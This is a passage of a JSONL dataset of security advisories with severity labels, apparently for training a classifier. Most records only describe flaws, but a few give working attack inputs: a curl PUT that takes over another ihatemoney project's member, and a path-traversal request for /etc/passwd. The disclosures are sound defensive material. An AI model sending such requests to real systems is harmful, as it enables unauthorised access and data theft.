exploited to access all bills of another project without knowledge of this other project's private code.\n\nWith the default configuration, anybody is allowed to create a new project. An attacker can create a new project and then use it to become authenticated and exploit this flaw. As such, the exposure is similar to an unauthenticated attack, because it is trivial to become authenticated.\n\n### Patches\n```diff\n ihatemoney/models.py | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/ihatemoney/models.py b/ihatemoney/models.py\nindex fe7b519..5691c75 100644\n--- a/ihatemoney/models.py\n+++ b/ihatemoney/models.py\n@@ -380,7 +380,7 @@ class Person(db.Model):\n         def get_by_name(self, name, project):\n             return (\n                 Person.query.filter(Person.name == name)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n \n@@ -389,7 +389,7 @@ class Person(db.Model):\n                 project = g.project\n             return (\n                 Person.query.filter(Person.id == id)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n \n```\n\n### Workarounds\n\nTo limit the impact, it is possible to disable public project creation by setting `ALLOW_PUBLIC_PROJECT_CREATION = False` in the configuration (see [documentation](https://ihatemoney.readthedocs.io/en/latest/configuration.html)). Existing users will still be able to exploit the flaw, but this will prevent an external attacker from creating a new project.\n\n### For more information\n\n`Person.query.get()` and `Person.query.get_by_name()` were mistakenly running a database join on the Project table without constraining the result.\n\nAs a result, `Person.query.get(42, \"projectfoo\")` would return the Person with id=42, even if it is not associated to the project \"projectfoo\".  The only condition is that \"projectfoo\" must exist.\n\nThis flaw can be exploited in several places:\n\n1) API: PUT requests to `/api/projects/<project>/members/<personID>` will succeed even though `<personID>` is not a member of `<project>`.\n\n   This allows an authenticated attacker to alter the state of a member (name, weight, activated) in any project.  In addition, the altered member will no longer be associated with its original project but will be associated to the attacker project instead, breaking many features of IHateMoney.  For instance, bills referencing the altered member will no longer be visible in the original project.\n\n   This causes an additional information disclosure and loss of integrity on bills: the attacker will now be able to see, edit and delete bills belonging to the altered member, because IHateMoney now believes that these bills are associated to the attacker project through the altered member.\n\n   For instance, assume that `Person(id=42)` is a member of project \"targetProject\", and that the attacker has access to another project \"attackerProject\" with the private code \"attackerPassword\".  The attacker can modify `Person(id=42)` with this command:\n\n     $ curl -X PUT -d \"name=Pwn3d&activated=1\" --basic -u attackerProject:attackerPassword http://$SERVER/api/projects/attackerProject/members/42\n\n   The attacker can now see, edit and delete bills paid by `Person(id=42)` by simply browsing to http://$SERVER/attackerProject/\n\n2) Editing a member through the web interface at `/<project>/members/<personID>/edit` will succeed even though `<personID>` is not a member of `<project>`.\n\n   This is very similar to the PUT exploit.  Reusing the same example, the attacker needs to login to its \"attackerProject\" project with the private code \"attackerPassword\".  It can then alter the state of `Person(id=42)` by accessing the edit form at the following URL:\n\n ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "a9f7b42fb4af763fbb84", "text": "Regular expression denial of service in npm-user-validate\n\nThis affects the package npm-user-validate before 1.0.1. The regex that validates user emails took exponentially longer to process long input strings beginning with @ characters.", "text_raw": "Regular expression denial of service in npm-user-validate\n\n[Severity: HIGH]\n\nThis affects the package npm-user-validate before 1.0.1. The regex that validates user emails took exponentially longer to process long input strings beginning with @ characters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "78383715ebb1cba89987", "text": "Command Injection in cocos-utils\n\nAll versions of `cocos-utils` are vulnerable to Remote Code Execution. The `unzip()` function concatenates user input to `exec()` which may allow attackers to execute arbitrary commands  on the server.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in cocos-utils\n\n[Severity: HIGH]\n\nAll versions of `cocos-utils` are vulnerable to Remote Code Execution. The `unzip()` function concatenates user input to `exec()` which may allow attackers to execute arbitrary commands  on the server.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "928ef9e207ac4df697fa", "text": "Malicious Package in file-logging\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in file-logging\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "dea5cf7f889d8df00200", "text": "Qool CMS v2.0 RC2 Multiple HTML And JavaScript Injection Vulnerabilities", "text_raw": "Qool CMS v2.0 RC2 Multiple HTML And JavaScript Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-03-06", "split": "train"}
-{"id": "742bbe1bae69e9c20d8b", "text": "Code Injection in mquery\n\nlib/utils.js in mquery before 3.2.3 allows a pollution attack because a special property (e.g., __proto__) can be copied during a merge or clone operation.", "text_raw": "Code Injection in mquery\n\n[Severity: MEDIUM]\n\nlib/utils.js in mquery before 3.2.3 allows a pollution attack because a special property (e.g., __proto__) can be copied during a merge or clone operation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-18", "split": "train"}
-{"id": "f4fefb1cf29a88944c02", "text": "ckeditor4 vulnerable to cross-site scripting\n\nA cross-site scripting (XSS) vulnerability in the HTML Data Processor in CKEditor 4 4.14.0 through 4.16.x before 4.16.1 allows remote attackers to inject executable JavaScript code through a crafted comment because `--!>` is mishandled.", "text_raw": "ckeditor4 vulnerable to cross-site scripting\n\n[Severity: MEDIUM]\n\nA cross-site scripting (XSS) vulnerability in the HTML Data Processor in CKEditor 4 4.14.0 through 4.16.x before 4.16.1 allows remote attackers to inject executable JavaScript code through a crafted comment because `--!>` is mishandled.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "5ce5821d218fd2c2628c", "text": "Helm uses crypto package vulnerable to panic from malformed X.509 certificate\n\nThanks to @ravin9249 for identifying the vulnerability.\n\n### Impact\n\nGo before 1.12.16 and 1.13.x before 1.13.7 (and the `crypto/cryptobyte` package before 0.0.0-20200124225646-8b5121be2f68 for Go) allows attacks on clients resulting in a panic via a malformed X.509 certificate. This may allow a remote attacker to cause a denial of service.\n\n### Patches\n\nA patch to compile Helm against Go 1.14.4 has been provided for Helm 2 and is available in Helm 2.16.8. Helm 3.1.0 and newer are compiled against Go 1.13.7+.\n\n### Workarounds\n\nNo workaround is available. Users are urged to upgrade.\n\n### References\n\n- https://nvd.nist.gov/vuln/detail/CVE-2020-7919\n- https://github.com/helm/helm/pull/8288\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Helm repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at <cncf-helm-security@lists.cncf.io>", "text_raw": "Helm uses crypto package vulnerable to panic from malformed X.509 certificate\n\n[Severity: HIGH]\n\nThe Helm core maintainers have identified a high severity security vulnerability in Go's `crypto` package affecting all versions prior to Helm 2.16.8 and Helm 3.1.0.\n\nThanks to @ravin9249 for identifying the vulnerability.\n\n### Impact\n\nGo before 1.12.16 and 1.13.x before 1.13.7 (and the `crypto/cryptobyte` package before 0.0.0-20200124225646-8b5121be2f68 for Go) allows attacks on clients resulting in a panic via a malformed X.509 certificate. This may allow a remote attacker to cause a denial of service.\n\n### Patches\n\nA patch to compile Helm against Go 1.14.4 has been provided for Helm 2 and is available in Helm 2.16.8. Helm 3.1.0 and newer are compiled against Go 1.13.7+.\n\n### Workarounds\n\nNo workaround is available. Users are urged to upgrade.\n\n### References\n\n- https://nvd.nist.gov/vuln/detail/CVE-2020-7919\n- https://github.com/helm/helm/pull/8288\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Helm repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at <cncf-helm-security@lists.cncf.io>", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "dbec9a3bf3c2a65e128a", "text": "Denial of Service in canvas\n\nVersions of `canvas` prior to 1.6.10 are vulnerable to Denial of Service. Processing malicious JPEGs or GIFs could crash the node process.\n\n## Recommendation\n\nUpgrade to version 1.6.10", "text_raw": "Denial of Service in canvas\n\n[Severity: MEDIUM]\n\nVersions of `canvas` prior to 1.6.10 are vulnerable to Denial of Service. Processing malicious JPEGs or GIFs could crash the node process.\n\n\n## Recommendation\n\nUpgrade to version 1.6.10", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "9949177b7ac01ea2cad2", "text": "Bypass of fix for CVE-2020-15247, Twig sandbox escape\n\n### Impact\nA bypass of CVE-2020-15247 (fixed in 1.0.469 and 1.1.0) was discovered that has the same impact as CVE-2020-15247:\n\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 470 (v1.0.470) and v1.1.1.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/d34fb8ab51108495a9a651b841202d935f4e12f7 to your installation manually if unable to upgrade to Build 470 or v1.1.1.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "text_raw": "Bypass of fix for CVE-2020-15247, Twig sandbox escape\n\n[Severity: LOW]\n\n### Impact\nA bypass of CVE-2020-15247 (fixed in 1.0.469 and 1.1.0) was discovered that has the same impact as CVE-2020-15247:\n\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 470 (v1.0.470) and v1.1.1.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/d34fb8ab51108495a9a651b841202d935f4e12f7 to your installation manually if unable to upgrade to Build 470 or v1.1.1.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "5d7c5b87d01c96b656ad", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "2101a3e925a9ca422f41", "text": "Relative Path Traversal (CWE-23) in chunked uploads in oneup/uploader-bundle\n\n### Impact\nThe vulnerability was identified in the web service for a chunked file\nupload. While the names of the POST parameters vary with the used\nfrontend, their values are always used in the same way to build a path\nwhere the chunks are stored and assembled temporarily. By not validating\nthese parameters properly, OneupUploaderBundle is susceptible to a path\ntraversal vulnerability which can be exploited to upload files to\narbitrary folders on the filesystem. The assembly process can further be\nmisused with some restrictions to delete and copy files to other\nlocations.\n\nThe vulnerability can be exploited by any users that have legitimate\naccess to the upload functionality and can lead to arbitrary code\nexecution, denial of service and disclosure of confidential information.\n\n### Patches\nYes, see version 1.9.3 and 2.1.5.\n\n### References\nhttps://owasp.org/www-community/attacks/Path_Traversal\n\n### Credits:\nThis security vulnerability was found by Thibaud Kehler of SySS GmbH.\nE-Mail: thibaud.kehler@syss.de", "text_raw": "Relative Path Traversal (CWE-23) in chunked uploads in oneup/uploader-bundle\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability was identified in the web service for a chunked file\nupload. While the names of the POST parameters vary with the used\nfrontend, their values are always used in the same way to build a path\nwhere the chunks are stored and assembled temporarily. By not validating\nthese parameters properly, OneupUploaderBundle is susceptible to a path\ntraversal vulnerability which can be exploited to upload files to\narbitrary folders on the filesystem. The assembly process can further be\nmisused with some restrictions to delete and copy files to other\nlocations.\n\nThe vulnerability can be exploited by any users that have legitimate\naccess to the upload functionality and can lead to arbitrary code\nexecution, denial of service and disclosure of confidential information.\n\n### Patches\nYes, see version 1.9.3 and 2.1.5.\n\n### References\nhttps://owasp.org/www-community/attacks/Path_Traversal\n\n### Credits:\nThis security vulnerability was found by Thibaud Kehler of SySS GmbH.\nE-Mail: thibaud.kehler@syss.de", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-18", "split": "train"}
-{"id": "de121ced2cd0a72075de", "text": "Directory Traversal in cypserver\n\nAffected versions of `cypserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in cypserver\n\n[Severity: HIGH]\n\nAffected versions of `cypserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a39d08343be88c2f712f", "text": "SQL Injection in marginalia\n\nmarginalia < 1.6 is affected by SQL Injection. The impact is an injection of any SQL queries when a user controller argument is added as a component. This issue affects users that add a component that is user controller, for instance a parameter or a header. The attack vector is inputting of SQL to a vulnerable vector (header, http parameter, etc). The fixed version is 1.6.", "text_raw": "SQL Injection in marginalia\n\n[Severity: CRITICAL]\n\nmarginalia < 1.6 is affected by SQL Injection. The impact is an injection of any SQL queries when a user controller argument is added as a component. This issue affects users that add a component that is user controller, for instance a parameter or a header. The attack vector is inputting of SQL to a vulnerable vector (header, http parameter, etc). The fixed version is 1.6.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "858dece2abc5aed666b6", "text": "Insecure Deserialization in Backend User Settings in TYPO3 CMS\n\nIt has been discovered that backend user settings (in $BE_USER->uc) are vulnerable to insecure deserialization. In combination with vulnerabilities of 3rd party components this can lead to remote code execution. A valid backend user account is needed to exploit this vulnerability.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-005", "text_raw": "Insecure Deserialization in Backend User Settings in TYPO3 CMS\n\n[Severity: HIGH]\n\nIt has been discovered that backend user settings (in $BE_USER->uc) are vulnerable to insecure deserialization. In combination with vulnerabilities of 3rd party components this can lead to remote code execution. A valid backend user account is needed to exploit this vulnerability.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-005", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "807682e8d10ab2a17dff", "text": "Microsoft Remote Desktop Services Remote Code Execution Vulnerability\n\nAffected: Microsoft Remote Desktop Services\n\nMicrosoft Remote Desktop Services, formerly known as Terminal Service, contains an unspecified vulnerability that allows an unauthenticated attacker to connect to the target system using RDP and send specially crafted requests. Successful exploitation allows for remote code execution. The vulnerability is also known under the moniker of BlueKeep.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Remote Desktop Services Remote Code Execution Vulnerability\n\nAffected: Microsoft Remote Desktop Services\n\nMicrosoft Remote Desktop Services, formerly known as Terminal Service, contains an unspecified vulnerability that allows an unauthenticated attacker to connect to the target system using RDP and send specially crafted requests. Successful exploitation allows for remote code execution. The vulnerability is also known under the moniker of BlueKeep.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d3bc9447dddedf734674", "text": "Prototype Pollution in deephas\n\nPrototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution in deephas\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-24", "split": "train"}
-{"id": "a3866ca8560e7e8a184e", "text": "Downloads Resources over HTTP in air-sdk\n\nAffected versions of `air-sdk` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `air-sdk`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package hasn't seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in air-sdk\n\n[Severity: HIGH]\n\nAffected versions of `air-sdk` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `air-sdk`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package hasn't seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "97784625f5a63e3510e8", "text": "Apple Multiple Products Race Condition Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOs, macOS, watchOS, and tvOS contain a race condition vulnerability that may allow a malicious application to elevate privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362, CWE-667\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Race Condition Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOs, macOS, watchOS, and tvOS contain a race condition vulnerability that may allow a malicious application to elevate privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362, CWE-667\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "639f62b861f32bad63cc", "text": "Trend Micro Multiple Products Improper Input Validation Vulnerability\n\nAffected: Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security\n\nTrend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows a remote attacker to upload files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Multiple Products Improper Input Validation Vulnerability\n\nAffected: Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security\n\nTrend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows a remote attacker to upload files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5e99f580cd10e5382ab2", "text": "Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File\n\nA race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.", "text_raw": "Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File\n\n[Severity: LOW]\n\nA race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "a82e47ca1da29b6904fc", "text": "cairo is vulnerable to denial of service due to a null pointer dereference\n\nCairo version 1.15.4 is vulnerable to a NULL pointer dereference related to the `FT_Load_Glyph` and `FT_Render_Glyph` resulting in an application crash.", "text_raw": "cairo is vulnerable to denial of service due to a null pointer dereference\n\n[Severity: MEDIUM]\n\nCairo version 1.15.4 is vulnerable to a NULL pointer dereference related to the `FT_Load_Glyph` and `FT_Render_Glyph` resulting in an application crash.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-15", "split": "train"}
-{"id": "35cff2b2bc5d7d561067", "text": "Insecure permissions on user namespace / fakeroot temporary rootfs in Singularity\n\n### Impact\n\nInsecure permissions on temporary directories used in fakeroot or user namespace container execution.\n\nWhen a Singularity action command (run, shell, exec) is run with the fakeroot or user namespace option, Singularity will extract a container image to a temporary sandbox directory. Due to insecure permissions on the temporary directory it is possible for any user with access to the system to read the contents of the image. Additionally, if the image contains a world-writable file or directory, it is possible for a user to inject arbitrary content into the running container.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.3.\n\nAll users are advised to upgrade to 3.6.3.\n\n### Workarounds\n\nThe issue is mitigated if `TMPDIR` is set to a location that is only accessible to the user, as any subdirectories directly under `TMPDIR` cannot then be accessed by others. However, this is difficult to enforce so it is not recommended to rely on this as a mitigation.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "Insecure permissions on user namespace / fakeroot temporary rootfs in Singularity\n\n[Severity: HIGH]\n\n### Impact\n\nInsecure permissions on temporary directories used in fakeroot or user namespace container execution.\n\nWhen a Singularity action command (run, shell, exec) is run with the fakeroot or user namespace option, Singularity will extract a container image to a temporary sandbox directory. Due to insecure permissions on the temporary directory it is possible for any user with access to the system to read the contents of the image. Additionally, if the image contains a world-writable file or directory, it is possible for a user to inject arbitrary content into the running container.\n\n### Patches\n\nThis issue is addressed in Singularity 3.6.3.\n\nAll users are advised to upgrade to 3.6.3.\n\n### Workarounds\n\nThe issue is mitigated if `TMPDIR` is set to a location that is only accessible to the user, as any subdirectories directly under `TMPDIR` cannot then be accessed by others. However, this is difficult to enforce so it is not recommended to rely on this as a mitigation.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack Channel](https://bit.ly/2m0g3lX)\n* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "e29436211de6dcc920fd", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Hadoop\n\nIn Apache Hadoop 3.0.0-alpha1 to 3.0.0, 2.9.0, 2.8.0 to 2.8.3, and 2.5.0 to 2.7.5, HDFS exposes extended attribute key/value pairs during listXAttrs, verifying only path-level search access to the directory rather than path-level read permission to the referent.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Hadoop\n\n[Severity: HIGH]\n\nIn Apache Hadoop 3.0.0-alpha1 to 3.0.0, 2.9.0, 2.8.0 to 2.8.3, and 2.5.0 to 2.7.5, HDFS exposes extended attribute key/value pairs during listXAttrs, verifying only path-level search access to the directory rather than path-level read permission to the referent.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "9c46ca1c9b22489bf4e1", "text": "Showdoc File Upload Vulnerability\n\nA file upload vulnerability exists in Showdoc 2.8.3, which can be exploited by an attacker to gain server privileges.", "text_raw": "Showdoc File Upload Vulnerability\n\n[Severity: CRITICAL]\n\nA file upload vulnerability exists in Showdoc 2.8.3, which can be exploited by an attacker to gain server privileges.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "af5c57810260341107e8", "text": "Command Injection Vulnerability in Mechanize\n\nThis security advisory has been created for public disclosure of a Command Injection vulnerability that was responsibly reported by @kyoshidajp (Katsuhiko YOSHIDA).\n\n### Impact\n\nMechanize `>= v2.0`, `< v2.7.7` allows for OS commands to be injected using several classes' methods which implicitly use Ruby's `Kernel.open` method. Exploitation is possible only if untrusted input is used as a local filename and passed to any of these calls:\n\n- `Mechanize::CookieJar#load`: since v2.0 (see 208e3ed)\n- `Mechanize::CookieJar#save_as`: since v2.0 (see 5b776a4)\n- `Mechanize#download`: since v2.2 (see dc91667)\n- `Mechanize::Download#save` and `#save!` since v2.1 (see 98b2f51, bd62ff0)\n- `Mechanize::File#save` and `#save_as`: since v2.1 (see 2bf7519)\n- `Mechanize::FileResponse#read_body`: since v2.0 (see 01039f5)\n\n### Patches\n\nThese vulnerabilities are patched in Mechanize v2.7.7.\n\n### Workarounds\n\nNo workarounds are available. We recommend upgrading to v2.7.7 or later.\n\n### References\n\nSee https://docs.rubocop.org/rubocop/cops_security.html#securityopen for background on why `Kernel.open` should not be used with untrusted input.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please open an issue in [sparklemotion/mechanize](https://github.com/sparklemotion/mechanize/issues/new).", "text_raw": "Command Injection Vulnerability in Mechanize\n\n[Severity: HIGH]\n\nThis security advisory has been created for public disclosure of a Command Injection vulnerability that was responsibly reported by @kyoshidajp (Katsuhiko YOSHIDA).\n\n### Impact\n\nMechanize `>= v2.0`, `< v2.7.7` allows for OS commands to be injected using several classes' methods which implicitly use Ruby's `Kernel.open` method. Exploitation is possible only if untrusted input is used as a local filename and passed to any of these calls:\n\n- `Mechanize::CookieJar#load`: since v2.0 (see 208e3ed)\n- `Mechanize::CookieJar#save_as`: since v2.0 (see 5b776a4)\n- `Mechanize#download`: since v2.2 (see dc91667)\n- `Mechanize::Download#save` and `#save!` since v2.1 (see 98b2f51, bd62ff0)\n- `Mechanize::File#save` and `#save_as`: since v2.1 (see 2bf7519)\n- `Mechanize::FileResponse#read_body`: since v2.0 (see 01039f5)\n\n\n### Patches\n\nThese vulnerabilities are patched in Mechanize v2.7.7.\n\n\n### Workarounds\n\nNo workarounds are available. We recommend upgrading to v2.7.7 or later.\n\n\n### References\n\nSee https://docs.rubocop.org/rubocop/cops_security.html#securityopen for background on why 